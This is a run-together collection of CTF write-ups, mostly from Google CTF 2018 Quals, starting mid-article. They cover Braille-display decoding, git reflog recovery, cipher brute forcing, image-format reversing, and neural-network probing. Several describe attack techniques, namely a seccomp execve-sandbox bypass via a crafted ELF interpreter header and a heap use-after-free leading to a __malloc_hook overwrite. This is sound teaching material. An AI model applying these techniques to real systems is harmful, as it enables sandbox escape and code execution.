text some text some text swe_ some text some text some text swee_ some text some text some text sweet_ Whatever it was, we now have pretty solid evidence that we are dealing with an encoding / encryption that encodes single characters only, independent of their position on the line, or the packet they occur in, or the current time, etc. Something like a monoalphabetic substitution cipher. (Caesar's? Single-byte XOR? Affine?) However, try as we might, our team could not decrypt these characters. We had the data being entered input for more than 24 hours without making much sense of it. On the morning of the second day I had some time to think: - a peripheral device showing a command line - all of the data is contained within the low 7 bits, except the cursor that uses the highest bit - when the cursor moves over a character, it sets the 7th bit no matter what its value was originally This made me think of [7-segment LCD displays](https://en.wikipedia.org/wiki/Seven-segment_display). In particular, the seventh bit would represent the lowest segment of the character. Then the cursor would simply be an underscore-like character. Moving over a character would underline it if possible. I thought the eighth bit could be the decimal point that's not really a part of the character - then the user could always tell which character was selected. Returning to the data example above, it would look something like: - - - - - | | | | | | | - - - | | | | | | | - - - ---------------------------------- - - - - - - | | | | | | | | - - - - | | | | | | | | - - - - ---------------------------------- - - - - - - - | | | | | | | | | - - - - - | | | | | | | | | - - - - - etc But applying the standard orderings of the segments as shown on Wikipedia didn't produce anything meaningful. Perhaps we simply need to find the correct bit-to-segment mapping? The challenge description did not mention that the flag would be in non-standard format. Hence we have to be able to find `CTF{...}` in the data somehow. We could represent `ctf` like this: - | | - - - | | | - - While we do not know the exact mapping of bits, we know how many bits should be `1`. In the above, we are looking for a sequence like `3, 4, 4` in the data. Additionally, the `t` has all the bits of `c` plus one more. The `f` has three bits of `t`, but not the one from `c`, and then one additional bit. There are other ways to display `CTF`, e.g. with a capital C. No matter how we searched the bits of the data, however, we could not find a suitable pattern. We spent quite a bit more thinking 7-segment display is still the answer, somehow. But at some point it hit me: the challenge is called "Feel it". Sometimes there are red herrings in challenge descriptions, but this would be a huge one. The description of the challenge needs to be considered a part of the challenge in a good CTF, subtly but clearly (once understood) guiding the players towards the correct solution. So far we have not used the description. What can you feel? What kind of display relies not on the sense of sight, but the sense of touch? It is a Braille display! Almost immediately this seemed like an excellent fit for the data. Another characteristic of the data (also true for the 7-segment display idea) was that the lack of characters, i.e. spaces and the empty space after the line, was represented with `00` bytes. To represent a space in Braille you simply put no dots, i.e. empty space. So a `00` byte make sense as a space character in Braille. But we still had the same problem: how to map the bits to the dots of Braille characters? Why do some characters use 7 bits, despite Braille technically being a 6-bit encoding? Trying to find `CTF` in the beginning of the "command line" did not really help, since the number of bits did not really agree with what `CTF` is in Braille. We can, however, apply the same method as before - look for a pattern in the number of dots. In fact, since 7 bits were being used, we performed a lenient search - look for patterns that have *at least* as many bits set as it would take to represent `CTF`. Here is what `CTF` is like in Braille: oo o oo oo o o C T F 2 bits, 4 bits, 3 bits. Converting the data fragment bytes to binary (only keeping the lowest 7 bits), there are multiple places where this pattern could fit: ([full pattern finder script](https://github.com/Aurel300/empirectf/blob/master/writeups/2018-06-23-Google-CTF-Quals/scripts/feel-it/PatternFind.hx)) $ haxe --run PatternFind 02: [0,0,0,0,0,1,0]: 1 00: [0,0,0,0,0,0,0]: 0 54: [1,0,1,0,1,0,0]: 3 42: [1,0,0,0,0,1,0]: 2 MATCH 53: [1,0,1,0,0,1,1]: 4 MATCH 6A: [1,1,0,1,0,1,0]: 4 07: [0,0,0,0,1,1,1]: 3 11: [0,0,1,0,0,0,1]: 2 1B: [0,0,1,1,0,1,1]: 4 0A: [0,0,0,1,0,1,0]: 2 1E: [0,0,1,1,1,1,0]: 4 48: [1,0,0,1,0,0,0]: 2 0E: [0,0,0,1,1,1,0]: 3 13: [0,0,1,0,0,1,1]: 3 11: [0,0,1,0,0,0,1]: 2 07: [0,0,0,0,1,1,1]: 3 07: [0,0,0,0,1,1,1]: 3 00: [0,0,0,0,0,0,0]: 0 18: [0,0,1,1,0,0,0]: 2 MATCH 7B: [1,1,1,1,0,1,1]: 6 2B: [0,1,0,1,0,1,1]: 4 00: [0,0,0,0,0,0,0]: 0 49: [1,0,0,1,0,0,1]: 3 MATCH 5E: [1,0,1,1,1,1,0]: 5 MATCH 4B: [1,0,0,1,0,1,1]: 4 2A: [0,1,0,1,0,1,0]: 3 13: [0,0,1,0,0,1,1]: 3 02: [0,0,0,0,0,1,0]: 1 19: [0,0,1,1,0,0,1]: 3 11: [0,0,1,0,0,0,1]: 2 38: [0,1,1,1,0,0,0]: 3 01: [0,0,0,0,0,0,1]: 1 1D: [0,0,1,1,1,0,1]: 4 19: [0,0,1,1,0,0,1]: 3 38: [0,1,1,1,0,0,0]: 3 0E: [0,0,0,1,1,1,0]: 3 12: [0,0,1,0,0,1,0]: 2 12: [0,0,1,0,0,1,0]: 2 05: [0,0,0,0,1,0,1]: 2 3B: [0,1,1,1,0,1,1]: 5 C0: [1,0,0,0,0,0,0]: 1 The initial three don't seem to work out. But `00:49:5E:4B` actually works as `<space>CTF`! All three characters have one extra bit set - this could indicate that they are uppercase. In regular English Braille capital characters are indicated with a special character preceding the letter that is meant to be capital. This might be impractical for a computer terminal. 00: [0,0,0,0,0,0,0]: 0 49: [1,0,0,1,0,0,1]: 3 C 5E: [1,0,1,1,1,1,0]: 5 T 4B: [1,0,0,1,0,1,1]: 4 F ^ uppercase The three following bits represent the right column of the Braille grid, and the three last bits represent the left column. Let's see what the full line looks like: o o o o oo o o o o o o o o o o o oo o o o oo o oo o oo o o o o o o o o o o o oo oo oo o oo o o oo o o o oo oo o o oo o oo o o oo o o o o o o o o o o o o o o o o oo o oo oo oo o o o If we try to decode these character using the [standard English Braille alphabet](https://en.wikipedia.org/wiki/English_Braille), we get more useful data, but a lot of the characters have special meaning rather than representing a single character: o o o o oo o o o o o o o o o o o oo o o o oo o oo o oo o o o o o o o o o o , in? , h ow? l e g i t ?? s h e l l o oo oo oo o oo o o oo o o o oo oo o o oo o oo o o oo o o o o o o o o o o o o o o ?? ?? ?? c t f ow? h ,? d e ?? a n d ?? o o oo o oo oo oo o o o s ?? ?? k ?? The `??` are meant to be used as parts of special "abbreviations" in Braille, consisting of multiple characters that represent a commonly-used English word. After searching through a couple abbreviation appendices, we could not find any suitable abbreviation for the three-character code on the start of the second line above. But we could clearly see that the flag would be something like `CTF{hide_and_seek}`, we were very close. Finally, we found [Computer Braile Code](https://en.wikipedia.org/wiki/Computer_Braille_Code), specifically meant to be used for Braille representations of computer data. When using this encoding, we get: o o o o oo o o o o o o o o o o o oo o o o oo o oo o oo o o o o o o o o o o 1 9 1 h { l e g i t @ s h e l l o oo oo oo o oo o o oo o o o oo oo o o oo o oo o o oo o o o o o o o o o o o o o o ^ } $ c t f { h 1 d e _ a n d _ o o oo o oo oo oo o o o s 3 3 k } It is possible that the first five bytes are not Braille characters, but control data for the device. ([full decoder script](https://github.com/Aurel300/empirectf/blob/master/writeups/2018-06-23-Google-CTF-Quals/scripts/feel-it/Decode.hx)) We have the flag, but let's decrypt the full user interaction: 1 91Hnot an AT-SPI2 text widget 1 91HBRLTTY 5.6 1 91H 1 91H{legit@shell ^}$ 1 91H{legit@shell ^}$C 1 91H{legit@shell ^}$CT 1 91H{legit@shell ^}$CTF 1 91H{legit@shell ^}$CTF{ 1 91H{legit@shell ^}$CTF{ 1 91H{legit@shell ^}$CTF{ 1 91H{legit@shell ^}$CTF{ 1 91H{legit@shell ^}$CTF{ 1 91H{legit@shell ^}$ CTF{ 1 91H{legit@shell ^}$ CTF{ 1 91H{legit@shell ^}$ CTF{ 1 91H{legit@shell ^}$ CTF{ 1 91H{legit@shell ^}$ CTF{ 1 91H{legit@shell ^}$ CTF{h 1 91H{legit@shell ^}$ CTF{h? 1 91H{legit@shell ^}$ CTF{h?d 1 91H{legit@shell ^}$ CTF{h?de 1 91H{legit@shell ^}$ CTF{h?dE 1 91H{legit@shell ^}$ CTF{h?De 1 91H{legit@shell ^}$ CTF{hDe 1 91H{legit@shell ^}$ CTF{h?De 1 91H{legit@shell ^}$ CTF{hDe 1 91H{legit@shell ^}$ CTF{h1De 1 91H{legit@shell ^}$ CTF{h1dE 1 91H{legit@shell ^}$ CTF{h1de 1 91H{legit@shell ^}$ CTF{h1de_ 1 91H{legit@shell ^}$ CTF{h1de_a 1 91H{legit@shell ^}$ CTF{h1de_an 1 91H{legit@shell ^}$ CTF{h1de_and 1 91H{legit@shell ^}$ CTF{h1de_and_ 1 91H{legit@shell ^}$ CTF{h1de_and_s 1 91H{legit@shell ^}$ CTF{h1de_and_s# 1 91H{legit@shell ^}$ CTF{h1de_and_s## 1 91H{legit@shell ^}$ CTF{h1de_and_s# 1 91H{legit@shell ^}$ CTF{h1de_and_s 1 91H{legit@shell ^}$ CTF{h1de_and_s3 1 91H{legit@shell ^}$ CTF{h1de_and_s33 1 91H{legit@shell ^}$ CTF{h1de_and_s33k 1 91H{legit@shell ^}$ CTF{h1de_and_s33k} 1 91Hnot an AT-SPI2 text widget `CTF{h1de_and_s33k}`
# execve-sandbox This task was part of the 'PWN' category at the 2018 Google CTF Quals round (during 23-24 June 2018). It was solved by [or523](https://github.com/or523) and [RonXD](https://github.com/RonXD), in [The Maccabees](https://ctftime.org/team/60231) team, and we are pretty sure it is not the intended solution! ## The challenge*(If you're already familiar with the challenge, just skip down to our solution).* The hint available in the website was:```What a kewl sandbox! Seccomp makes it impossible to execute ./flag```And, of-course, we got a domain and port for ```nc```. Inside the attached zip, there was a single file named ```execve-sandbox.c```. This file is the source for the executable running on the remote server, and its main function is to receive x86-64 ELF executable files and run them in a "sandbox". This sandbox is constructed in a way that should (in theory, at least) prevent from the executable ELF from executing any file with the ```execve``` system call. When the binary starts running, it runs ```system("/bin/ls -l .");```, and we can see the files in the directory. There, we can see the ```flag``` file in our directory - which is executable-only for everyone. From the hint and this directory listing, it is obvious that our goal is to run the ```./flag``` file in order to get the flag itself. Let's talk briefly about the interesting parts of the sandbox: the program receives a file which is executed under a seccomp-bpf filter, which is set up like as follows:```cstatic int install_syscall_filter(unsigned long mmap_min_addr){ int allowed_syscall[] = { SCMP_SYS(rt_sigreturn), SCMP_SYS(rt_sigaction), SCMP_SYS(rt_sigprocmask), SCMP_SYS(sigreturn), SCMP_SYS(exit_group), SCMP_SYS(exit), SCMP_SYS(brk), SCMP_SYS(access), SCMP_SYS(fstat), SCMP_SYS(write), SCMP_SYS(close), SCMP_SYS(mprotect), SCMP_SYS(arch_prctl), SCMP_SYS(munmap), SCMP_SYS(fstat), SCMP_SYS(readlink), SCMP_SYS(uname), }; scmp_filter_ctx ctx; unsigned int i; int ret; ctx = seccomp_init(SCMP_ACT_KILL); if (ctx == NULL) { warn("seccomp_init"); return -1; } for (i = 0; i < sizeof(allowed_syscall) / sizeof(int); i++) { if (seccomp_rule_add(ctx, SCMP_ACT_ALLOW, allowed_syscall[i], 0) != 0) { warn("seccomp_rule_add"); ret = -1; goto out; } } /* prevent mmap to map mmap_min_addr */ if (seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(mmap), 1, SCMP_A0(SCMP_CMP_GE, mmap_min_addr + PAGE_SIZE)) != 0) { warn("seccomp_rule_add"); ret = -1; goto out; } /* first execve argument (filename) must be mapped at mmap_min_addr */ if (seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(execve), 1, SCMP_A0(SCMP_CMP_EQ, mmap_min_addr)) != 0) { warn("seccomp_rule_add"); ret = -1; goto out; } puts("[*] seccomp-bpf filters installed"); ret = seccomp_load(ctx); if (ret != 0) warn("seccomp_load"); out: seccomp_release(ctx); return ret;}```## The mmap_min_addr kernel parameterThe Linux kernel holds a list of runtime parameters that may be changed during runtime by user programs. The parameters can be accessed using the ``/proc/sys`` directory, where they appear as files, and reading/writing to those virtual files will cause the parameter to be read into user-space/written from user-space. The ``vm.mmap_min_addr`` donates the minimal virtual address that may be allocated - a lower virtual address will **never** be allocated with ``mmap`` (or any other system call), even with a non-NULL hint. In ``install_syscall_filter``, the ``mmap_min_addr`` argument is the ``vm.mmap_min_addr`` parameter read from the kernel. So, if we wish to allocated the ``mmap_min_addr`` virtual address it should be the very first page in our allocation, making it much harder to allocate. ## The sandboxThe set-up filter allows only the short list of system calls (listed with SCMP_SYS) to be executed without any restriction; in addition, the ```mmap``` system call is allowed only if its first parameter (the address hint) is not the ```mmap_min_addr```; and the ```execve``` system call is allowed only if its first parameter (the string that contains the path to the executable) is **exactly** ```mmap_min_addr```. This is the 'execve-sandbox' the task is named after - we can execute only paths that are written in a specific address, which we can't allocate (at least easily) using ```mmap```. Another sandbox validation is validation of the ELF - the function ```elf_check``` validates that the ELF is a valid x86-64 ELF, and that there isn't any section or program header with a non-zero virtual address in the "prohibited range" (the single page after ```mmap_min_addr```) - so easy ELF editing is also not an option. ## Our solutionOur solution doesn't require any ```mmap``` feng-shui that will try to map the ```mmap_min_addr``` page - in fact, we do not map this page at all. Our solution is based on an edited program header in the ELF we're sending called ```PT_INTERP```. This program header contains a path, which is the path of the interpreter (executable file) our ELF will run under. The main usage of this field is in dynamically-linked files, that use the dynamic linker of the machine as an interpreter, in order to link dynamically with libraries. For example, on a standard Ubuntu machine, you will get:```$ readelf -Wl `which cat`...Program Headers: Type Offset VirtAddr PhysAddr ... INTERP 0x000238 0x0000000000000238 0x0000000000000238 0x00001c 0x00001c R 0x1 [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]...```Which tells the kernel that when running this file, load ```ld.so``` ELF file as the interpreter for our ELF, and branch to it when starting the process. If you are interested in how the interpreter knows the information about the original mapped ELF when the kernel runs it, I recommend reading [about auxiliary vectors](http://articles.manugarg.com/aboutelfauxiliaryvectors.html) and have a look at ```man getauxval```. So, the solution is easy! Because the kernel maps and runs the executable written in the ```PT_INTERP``` program header of our ELF, we can just change it to be ```"./flag"``` in the following way:```cconst char interp_section[] __attribute__((section(".interp"))) = "./flag";```Note that this is the entire source-code - there are no other lines besides this one. We compile it in the following way (to make sure it is small enough to reach the one page size limitation - with these flags, it is only 512 bytes ELF!):```bashgcc -s -fno-ident -Wl,--build-id=none -Wl,-e,0 -static -nostdlib solution.c -o solution```The resulting binary will contain only one section, ``.interp``, no pieces of code, and no entrypoint - so this binary will do nothing more than running ``./flag`` as its interpreter. Usually, executable binaries request an interpreter, and an interpreter may not request its own interpreter, so this solution should not work. However, we notice the ``open`` system call is not allowed - so dynamic linking will simply not work since the dynamic linker has to ``open`` the libraries it wants to link. Since we assume the flag binary should be able to run under the sandbox, we assume it must be statically-linked, meaning it will not request an interpreter and may be run as our interpreter. ## Success!When we send the binary to the server, we get the flag!```CTF{Time_to_read_that_underrated_Large_Memory_Management_Vulnerabilities_paper}```Which makes us think we found an unintended solution, because no memory management tricks were required! See you next CTF!\~ RonXD && or523> Written with [StackEdit](https://stackedit.io/).
**Description** > My file lost! > > attachment: https://drive.google.com/open?id=1Mo3uN2FV1J-lbqjQZvvXitWagZqjD1Xi **Solution** The attachment is a zip archive with this directory structure: git/ .git/ ... HelloWorld.txt There is no stash nor commits in the log, and the `develop` branch seems to be the same. But, using `git reflog`: 22d3349 HEAD@{0}: checkout: moving from develop to master 22d3349 HEAD@{1}: rebase -i (finish): returning to refs/heads/develop 22d3349 HEAD@{2}: rebase -i (start): checkout 22d3349 f671986 HEAD@{3}: checkout: moving from master to develop 22d3349 HEAD@{4}: checkout: moving from develop to master f671986 HEAD@{5}: checkout: moving from master to develop 22d3349 HEAD@{6}: checkout: moving from rctf to master f671986 HEAD@{7}: commit: Revert f4d0f6d HEAD@{8}: commit: Flag 22d3349 HEAD@{9}: checkout: moving from master to rctf 22d3349 HEAD@{10}: commit (initial): Initial Commit We see there was a `Flag` commit that was reverted. So we can `git checkout f4d0f6d` which reveals the `flag.txt` file. `RCTF{gIt_BranCh_aNd_l0g}`
In this challenge we get two files: a text file ```output``` containing the encrypted (or rather transformed) flag```L{NTP#AGLCSF.#OAR4A#STOL11__}PYCCTO1N#RS.S```and a piece of Python code ```encrypt.py``` which was used to transform the cleartext flag. ```#-*- coding:utf-8 -*- import random W = 7perm = range(W)random.shuffle(perm) msg = open("flag.txt").read().strip()while len(msg) % (2*W): msg += "." for i in xrange(100): msg = msg[1:] + msg[:1] msg = msg[0::2] + msg[1::2] msg = msg[1:] + msg[:1] res = "" for j in xrange(0, len(msg), W): for k in xrange(W): res += msg[j:j+W][perm[k]] msg = resprint msg```In hindsight this challenge was quite easy and it took me much longer than it should have. Most of the time was spent trying to wrap my head around inverting string operations, such as ```msg[0::2] ``` , which may be not too usual for everyone. So lets step through the code quickly. ## Analysis of encryption code At first, a random permutation of the first seven positive integers (e.g. ```[5, 6, 1, 3, 2, 0, 4]```) is created. Then the cleartext flag is read from a text file and padded with ```.``` such that the length of the padded flag is at least 14 and divisible by 7 (i.e. 14, 21, 28,...). After padding the flag, a loop of 100 iterations is run through, carrying out the following steps:1. Move the ```msg``` string's first character to the end of the string2. Take every second character and and move it to the end of the string3. Again, move the ```msg``` string's first character to the end of the string4. The outer for-loop (index ```j```) iterates over the length of the ```msg``` string in increments of 7 (i.e. first iteration ```j = 0```, second iteration ```j = 7```, third iteration ```j = 21```,...). The inner for-loop (index ```k```) then works on junks of 7 characters (starting at postion ```j```) by appendending the character at position ```j + k``` to the ```res``` string. Here the permutation comes into play, because the character appended to the ```res``` string depends on the value at position ```k``` in the permutation array. At the end, said ```res``` string will be the new ```msg``` string in the next iteration. That's basically it: no key or any other shenanigans involved! ## The solution In order to reconstruct the plaintext flag, the above code needs to be inverted (more or less :). As we don't know the actual permutation which was used during the encryption, we need to brute-force this part (there are 5040 possible possible combinations). To do this we put the actual decryption code into a loop which uses a different permutation during each iteration.Now inverting the encryption code:1. We start with the two nested for-loops (indices ```j``` and ```k```). There we simply remove the first character of the encrypted flag and place it at the position it initially had in the cleartext string. 2. After the nested loops, the last character of the string is moved to position 0. 3. Then the string is split in half and both halves are merged in an interleaving manner. For example, let ```s = "acegbdf"``` , left half ```u = "aceg"``` and right half ```l = "bdf"```. This would result in ```s = "abcdefg"``` after the merging. 4. Then, the last character is moved to the beginning of the string. At the end of the iteration, ```res``` is assigned the value of ```msg``` in order to get transformed in the next iteration. At the end of each of the 5040 iterations (which themselves consist of 100 transformation iterations), the output is tested to contain the string ```FLAG{```, in order to find the flag a little easier. (Thanks very much to the challenge author who decided to use a proper flag format!). Here is my implementation of the solution. Im sure, that there are more efficient ways to solve this, but for the sake of comprehensibility of the target audience (and myself), I did not want to make it more complex (i.e. in terms of the string operations). ```import randomfrom itertools import permutations W = 7perms = list(permutations(range(0, 7))) for perm in perms: # all permutations of range(0,6) perm = list(perm) msg2 = "L{NTP#AGLCSF.#OAR4A#STOL11__}PYCCTO1N#RS.S" res = msg2 for i in xrange(100): msg = [''] * len(res) ######## invert this the nested loops for j in xrange(0, len(msg), W): for k in xrange(W): msg[j+perm[k]] = res[0] res = res[1:len(res)] msg = ''.join(msg) ####### invert this: msg = msg[1:] + msg[:1] msg = msg[len(msg)-1:len(msg)] + msg msg = msg[:-1] ####### invert this: msg = msg[0::2] + msg[1::2] u = msg[0:int(len(msg)/2)] # first half l = msg[int(len(msg)/2):int(len(msg))] # second half r = [''] * (len(u) + len(l)) r[::2] = u r[1::2] = l msg = ''.join(r) ###### invert this: msg = msg[1:] + msg[:1] msg = msg[len(msg)-1:len(msg)] + msg msg = msg[:-1] res = msg if "FLAG{" in msg: print(msg) ``` And here's the flag:## FLAG{##CL4SS1CAL_CRYPTO_TRANSPOS1T1ON##}
Short form:`"\u0130".toLowerCase()` increases the string's length. We can use that to break the custom serialization where length is checked before calling `toLowerCase`. Read the [full version](https://upbhack.de/posts/google-ctf-qualifier-2018-writeup-bookshelf/) for details.
# Tape, misc, 355p > We've found this priceless, old magnetic tape in our archives. We dumped the contents, but the data is corrupted and we can't read it. We only have this old tape reader tool, but source code was lost long ago. The program has only 944 bytes, so reversing it should be trivial, right? We got a FLAGZ.DAT file and a remarkably small ARM executable. Reversing it, we found it reads the file in88 byte chunks, first 80 of which is xor of two plaintext lines, and the final 8 is CRC64 value of plaintext line.It would be enough to decrypt the file, but unfortunately the binary says there are CRC errors - and indeed,some characters get misprinted. Initially, there was only usually a single wrong character per line, which was easy to brute force (`solx.cpp`). Further lineshad two or three, which with some charset narrowing and occasional manual help (it was English text, after all), wasmanagable. The final line however, was not really bruteforceable at all:```: You probably just want the flag. So here it is: CTF{dZXi----------PIUTYMI}. :```Dashes mark unknown bytes. We know the CRC64 of the text though, so we downloaded the `crchack` tool,brute forced two characters of the flag, and asked `crchack` to find the remaining eight. If everythingis printable - that's the answer. See `script.py` for implementation.
# Proprietary format, re, 326p > The villains are communicating with their own proprietary file format. Figure out what it is. > proprietary.ctfcompetition.com 1337 We were given an encoded binary file of unknown format, and service to connect to. Sending some data there,we were getting some errors like `P6 expected` or `width` expected. It looks like it expected image insimple P6 format. Indeed, when we sent that, we got some data that has similar structure as the `flag.ctf` file. After a header, there were raw pixel data (in reversed, BGR order) preceeded often by some small (<0x10) bytes.Sending `/dev/urandom` as pixels, we received file that was about 1/3 larger than what we sent. On the other hand,sending `"A" * 256` we got very short file - so there must be some kind of compression. After some experimentation, we found what the format was - it was preorder representation of quad tree.The recursive description of a node is: - if the next byte was `0xf`, what follows is recursive representations of four children nodes- if the next byte `b` was < 0xf, what follows is three bytes of pixel color, followed by some children nodes. For each of the four bits of `b`, if it is 0, make the node fully colored in that saved color and don't parse it, otherwise, we have to parse recursive representation of children node. We wrote a parser and tested it on a few simple inputs, then ran it on `flag.ctf` to get `lol.png` and the flag.
In `AsisCTF Quals 2018 - Message Me!` challenge, we leak `libc` base address using a `Use After Free (UAF)` vulnerability. Using the same `Use After Free (UAF)` vulnerability, we overwrite `__malloc_hook` by `overlapping fastbin chunks`. Finally, we trigger `__malloc_hook` using a `Double Free` vulnerability on `fastbins`. This is a good example of `Heap Exploitation` challenge to understand how to hijack control flow in `x64_86` binaries with `Canary`, `NX`, and `ASLR` enabled.
Flagsifier----------This challenge consisted in finding the correct input for a Deep Neural Networkthat classifies images (size: `1064x28`) and has 40 output neurons. There were some example images, composed of 38 letters from what looked like the EMNIST dataset.All of them activated the fourth neuron, therefore being classified as the fourth class. Some quick tests by moving around random letters and removing some others (plus, the structureof the network) hinted us that there was a softmax and the classes were represented as one-hotencoding. Therefore, the network classifies images into 40 classes. Time to discover what they are! So, at first we transcribed the sample images and used the combinationof tile + corresponding text as dataset. ```pythondataname=["RUNNEISOSTRICHESOWNINGMUSSEDPURIMSCIVI", "MOLDERINGIINTELSDEDUCINGCOYNESSDEFIECT", "AMADOFIXESINSTIIIINGGREEDIIVDISIOCATIN", "HAMIETSENSITIZINGNARRATIVERECAPTURINGU", "ELECTROENCEPHALOGRAMSPALATECONDOIESPEN", "SCHWINNUFAMANAGEABLECORKSSEMICIRCLESSH", "BENEDICTTURGIDITYPSYCHESPHANTASMAGORIA", "TRUINGAIKALOIDSQUEILRETROFITBIEARIESTW", "KINGFISHERCOMMONERSUERIFIESHORNETAUSTI", "LIQUORHEMSTITCHESRESPITEACORNSGOALREDI"]```(Finding typos in this transcription is left as an exercise to the reader:smile: ) After that we divided all the sample images in 38 28x28-tiles (one tile perletter).We have done that using this script: ```pythondataset=[]datalet=[]datax={} for i in range(0,8): img = Image.open('./sample_%d.png'%i) for j in range(0,38): x=img.crop((j*28,0,(j+1)*28,28)) dataset.append(x) datalet.append(dataname[i][j]) let=dataname[i][j] if let not in datax: datax[let] = [] datax[let].append(len(dataset)-1)``` * `dataset` contains the images.* `datalet[i]` contains the corresponding text of `dataset[i]`.* `datax` contains the mapping between letters and array of samples. Basicallyit answers to questions like: "which dataset entries correspond to a particularletter?" Then, we experimented as follows: for each letter, starting from a black image,put the letter in position 0...38, and classify these images. We saved all thepredictions, and then averaged them to see the most likely class for each letter. We discovered that neurons 14...40 clasified letters: neuron 14 activated for A,neuron 15 for B, up to neuron 40 for Z. We then need to discover what the neurons 1...14 classify, as some of them probablyclassify the flag.To do that, we need to try to find inputs that maximize the activation of these, one ata time. Another thing that we can leverage is that the flag likely starts by `OOO`. So, what would one usually do here, with a "real" network? Decide which neuron (e.g.,the first) to try to activate, then create random 38-letters inputs, and then use thelog-likelihood of that neuron for that input as the fitness function for his favouriteoptimization algorithm (e.g., this problem looked perfect for genetic algorithms). But before throwing cannons to the problem, let's try something simpler (and if it fails, move to more advanced but computationally intensive stuff).The suspect here is that the network is trained on a small dataset, and is stronglyoverfitting the flag on some of the "low" neurons. This could maybe mean thatthe function we need to optimize is not crazily non-linear and with tons of local optimathat require complex optimization algorithms to escape from. Therefore we tried witha simple greedy strategy: for each of the 38 positions, pick the letter that maximizes theoutput of the target neuron. And it worked! Trying `OOO` as a test string showed activation of neurons 2 and 3 - let's focus on them. ### Results Neuron 2 has been our first guess, which gave us these (highly noisy) strings, with the greedy strategy:```OOOOTHISISBYKCOZMEKKAGETONASTEYOUATIMWOOOOTHISISBYKCOZMKYKAGZTONBSTWVOUATIWMOOOOTNISISBDKCOZMKSGBGETONMSTXVOUWTIRROOOOTOISISOYECOIUEYSOGETONOSTNVOUOTIWW``` We tried (failing) to submit some flags like* `OOOOTHISISBYKCOZMESSAGETOHASTEYOLATINE`* `OOOOTHISISBYKCOZMESSAGETOHASTEYOLATINW`* ... After realizing that neuron 2 was just a test-neuron, we changed output neuronfrom 2nd to 3rd and we got sentences like: ```OGOSOMEAUTHTNTICINTEIXIGXNCCISVEGUIWEGOOOSOMRAUTHGNTICINTGIIIGGNGGISMRGUIWEGOOOSOMXAUTHENTICINTEKXIGXNCRISRRRRIREROOOSOYEOLTUTNTICINTEIIIGCNCEIIETOLIRTIRROSOMEAUTHTNTICINTEIXIGXNCCISVEGUIWEG``` We obtained `OOOSOMEAUTHENTICINTELLIGENCEIS........` by averaging (and manuallycorrecting) them and after few tries of guessing ( :bowtie: ) the last word weobtained the correct flag: `OOOSOMEAUTHENTICINTELLIGENCEISREQUIRED`. ### Python scriptYou can find here the full python script we have used (keras + tensorflow-gpu): ```python#!/usr/bin/env python import numpy as npfrom keras.models import load_modelfrom keras.preprocessing import imagefrom keras.datasets import mnistfrom keras.applications.resnet50 import preprocess_input, decode_predictions from PIL import Image, ImageDraw, ImageFontimport string, random, sys dataset=[]datalet=[]datax={}dataname=["RUNNEISOSTRICHESOWNINGMUSSEDPURIMSCIVI", "MOLDERINGIINTELSDEDUCINGCOYNESSDEFIECT", "AMADOFIXESINSTIIIINGGREEDIIVDISIOCATIN", "HAMIETSENSITIZINGNARRATIVERECAPTURINGU", "ELECTROENCEPHALOGRAMSPALATECONDOIESPEN", "SCHWINNUFAMANAGEABLECORKSSEMICIRCLESSH", "BENEDICTTURGIDITYPSYCHESPHANTASMAGORIA", "TRUINGAIKALOIDSQUEILRETROFITBIEARIESTW", "KINGFISHERCOMMONERSUERIFIESHORNETAUSTI", "LIQUORHEMSTITCHESRESPITEACORNSGOALREDI"] for i in range(0,8): img = Image.open('./sample_%d.png'%i) for j in range(0,38): x=img.crop((j*28,0,(j+1)*28,28)) dataset.append(x) datalet.append(dataname[i][j]) let=dataname[i][j] if let not in datax: datax[let] = [] datax[let].append(len(dataset)-1) def genImg(n): img = Image.new('1', (1064,28), color='black') #for i in range(max(0,len(n)-1),len(n)): # only this letter and everything else black for i in range(0,len(n)): img.paste(dataset[n[i]], (i*28,0)) return img model = load_model('model.h5')model.compile(loss='binary_crossentropy', optimizer='rmsprop', metrics=['accuracy']) def eeval2(a, op): img = genImg(a) x = image.img_to_array(img) x = np.expand_dims(x, axis=0) classes = model.predict(x) score = float(classes[0][op]) return score for oo in range(2,40): # start from 2, this one seems correct# out=[datax[x][0] for x in 'OOOSOMEAUTHENTICINTELLIGENCEIS'] #do not start from zero out=[] for i in range(len(out),38): maxv=([], -99999) for j in datax: for k in datax[j]: out.append(k) score = eeval2(out, oo) if score > maxv[1]: maxv = (0, score, j) out.pop() sys.stdout.write("[%d] %38s : %.10lf \r" % (oo, ''.join([datalet[x] for x in out]), maxv[1])) sys.stdout.flush() out.append(datax[maxv[2]][0]) print("") print("--Neuron %d: %s" % (oo, ''.join([datalet[x] for x in out])))```
Video walkthrough and explanation. Thanks for watching! [https://www.youtube.com/watch?v=j9xht4K-MBk&t=0s&index=4&list=PL1H1sBF1VAKUdXGN03SFFXcW9-lTF1Ug6](https://www.youtube.com/watch?v=j9xht4K-MBk&t=0s&index=4&list=PL1H1sBF1VAKUdXGN03SFFXcW9-lTF1Ug6)
### SECURITY BY OBSCURITY (misc)첨부파일을 받아보면 zip 으로 압축되어 있다. unzip 으로 압축을 여러번 풀면 또 다른 방식으로 압축되어 있다. `zip`, `unzip`, `7z`, `bzip2`, `gunzip` 순서로 압축을 해제하면 마지막으로 패스워드가 걸린 zip 파일이 된다. advanced ZIP password Recovery 등의 프로그램을 이용하면 패스워드를 알아낼 수 있다. 알아낸 패스워드는 "asdf" 이다. **CTF{CompressionIsNotEncryption}**
Video walkthrough and explanation. Thanks for watching! [https://www.youtube.com/watch?v=qQgZQx6j9gg&t=0s&index=9&list=PL1H1sBF1VAKUdXGN03SFFXcW9-lTF1Ug6](https://www.youtube.com/watch?v=qQgZQx6j9gg&t=0s&index=9&list=PL1H1sBF1VAKUdXGN03SFFXcW9-lTF1Ug6)
Video walkthrough and explanation. Thanks for watching!https://www.youtube.com/watch?v=qx24siT8vqU&t=4s&index=3&list=PL1H1sBF1VAKUdXGN03SFFXcW9-lTF1Ug6
Video walkthrough and explanation. Thanks for watching! [https://www.youtube.com/watch?v=SCwvPh7PHug&t=0s&index=11&list=PL1H1sBF1VAKUdXGN03SFFXcW9-lTF1Ug6](https://www.youtube.com/watch?v=SCwvPh7PHug&t=0s&index=11&list=PL1H1sBF1VAKUdXGN03SFFXcW9-lTF1Ug6)
